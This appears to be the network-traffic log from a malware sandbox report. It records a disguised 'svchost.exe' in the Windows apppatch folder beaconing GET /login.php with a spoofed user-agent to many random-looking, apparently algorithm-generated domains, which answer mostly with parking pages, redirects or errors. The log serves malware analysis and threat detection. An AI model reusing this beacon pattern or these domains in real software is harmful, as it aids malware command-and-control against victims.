                                                                                                                                                                                                                    Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com hB11as it all. We hope you find what you are searching for!"><link rel="icon" type="im
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.744834900 CET1236INData Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65
                                                                                                                                                                                                                    Data Ascii: lay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visib
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745212078 CET636INData Raw: 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70
                                                                                                                                                                                                                    Data Ascii: tton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.anno
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745223999 CET1236INData Raw: 79 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 2d 2d 6e 6f 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 7b 6d 61 72 67 69 6e
                                                                                                                                                                                                                    Data Ascii: ybox__content-link--no-decoration{text-decoration:none}.container-searchbox{margin-bottom:50px;text-align:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-la
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.745230913 CET1236INData Raw: 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 0d 0a 31 35 44 38 0d 0a 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63
                                                                                                                                                                                                                    Data Ascii: r:#949494}.container-cookie-messa15D8ge{position:fixed;bottom:0;width:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{ma
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746263981 CET1236INData Raw: 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77
                                                                                                                                                                                                                    Data Ascii: indow__content-body table{width:100%;border-collapse:collapse}.cookie-modal-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{d
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746270895 CET1236INData Raw: 6f 63 6b 3b 77 69 64 74 68 3a 36 30 70 78 3b 68 65 69 67 68 74 3a 33 34 70 78 7d 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 6f 70 3a 30 3b
                                                                                                                                                                                                                    Data Ascii: ock;width:60px;height:34px}.switch__slider{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:#5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746278048 CET1236INData Raw: 6f 6e 74 61 69 6e 65 72 2d 61 64 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 2e 35 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2d 2d 74 77 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 36 2e
                                                                                                                                                                                                                    Data Ascii: ontainer-ads{margin-top:2.5%}.container-content__container-ads--twot{margin-top:6.5%}.container-content__webarchive{margin-top:4.5%}.container-content__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.746284962 CET1236INData Raw: 6e 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 68 65 61 64 65 72 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 37 70
                                                                                                                                                                                                                    Data Ascii: nt{display:inline-block}.two-tier-ads-list__list-element-header-link{font-size:37px;font-weight:bold;text-decoration:underline;color:#9fd801}.two-tier-ads-list__list-element-text{padding:3px 0 6px 0;margin:.11em 0;line-height:18px;color:#fff}.
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.749866962 CET1236INData Raw: 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 3b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 64 6f 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e
                                                                                                                                                                                                                    Data Ascii: ;text-transform:lowercase;color:#949494}#container-domain{display:block;text-align:center} </style><script type="text/javascript"> var dto = {"uiOptimize":false,"singleDomainName":"vofycot.com","domainName":"vofycot.com","domainPr


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    28192.168.2.449769199.59.243.227807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:36.698230028 CET350OUTGET /login.php?subid1=20241112-0448-36a9-bee5-382e87a9b6f4 HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww25.lyxynyx.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347316.6624222
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.123873949 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:36 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1230
                                                                                                                                                                                                                    x-request-id: 9f5eefdf-95b3-4d6f-9c7e-ea0014aca7af
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y+fx55IHguwe6nnfgdRzyYMS8Dv7b7Lvyfg4RYXHw9U0Ij5MHJbVvp9liOU2ZN+yafFYS2pwDJy03Ot6w/mRaw==
                                                                                                                                                                                                                    set-cookie: parking_session=9f5eefdf-95b3-4d6f-9c7e-ea0014aca7af; expires=Mon, 11 Nov 2024 18:03:37 GMT; path=/
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 59 2b 66 78 35 35 49 48 67 75 77 65 36 6e 6e 66 67 64 52 7a 79 59 4d 53 38 44 76 37 62 37 4c 76 79 66 67 34 52 59 58 48 77 39 55 30 49 6a 35 4d 48 4a 62 56 76 70 39 6c 69 4f 55 32 5a 4e 2b 79 61 66 46 59 53 32 70 77 44 4a 79 30 33 4f 74 36 77 2f 6d 52 61 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Y+fx55IHguwe6nnfgdRzyYMS8Dv7b7Lvyfg4RYXHw9U0Ij5MHJbVvp9liOU2ZN+yafFYS2pwDJy03Ot6w/mRaw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                                    Nov 11, 2024 18:48:37.124716043 CET664INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                                    Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWY1ZWVmZGYtOTViMy00ZDZmLTljN2UtZWEwMDE0YWNhN2FmIiwicGFnZV90aW1lIjoxNzMxMzQ3MzE3LCJwYWdlX3VybCI6I


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    29192.168.2.44977164.225.91.73807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.546112061 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qetyhyg.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.104316950 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                                    server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:39 GMT
                                                                                                                                                                                                                    content-type: text/html
                                                                                                                                                                                                                    content-length: 593
                                                                                                                                                                                                                    last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                                    etag: "63f68860-251"
                                                                                                                                                                                                                    accept-ranges: bytes
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    30192.168.2.46215972.52.179.174807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:38.765244961 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    31192.168.2.46216072.52.179.174807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:39.315908909 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    32192.168.2.45567552.34.198.229807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.521400928 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lygyvuj.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.210583925 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:43 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=293809bacc657b47b250fb03d68a31f5|66.23.206.109|1731347323|1731347323|0|1|0; path=/; domain=.lygyvuj.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    33192.168.2.45570944.221.84.105807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.949202061 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyhiz.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.376972914 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:47 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=5c792c0b3fdbe87d7918b5e878a5100d|66.23.206.109|1731347327|1731347327|0|1|0; path=/; domain=.gahyhiz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    34192.168.2.455715199.59.243.22780
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.593858957 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019233942 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1094
                                                                                                                                                                                                                    x-request-id: c986ee48-cb6c-4ed1-8b0f-ad63eed72a30
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                                    set-cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3; expires=Mon, 11 Nov 2024 18:03:48 GMT
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.019285917 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                                    Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2Q3OGRjMjgtZGVjNi00MDc3LWIxYTgtNTYxNjY5MWVlYmEzIiwicGFnZV90aW1lIjoxNzMxMzQ3MzI4LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    35192.168.2.45571375.2.71.199807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.608717918 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: puzylyp.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.000157118 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Location: https://puzylyp.com/login.php
                                                                                                                                                                                                                    Server: Caddy
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Content-Length: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    36192.168.2.45571623.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.612241983 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.091906071 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:43 GMT
                                                                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
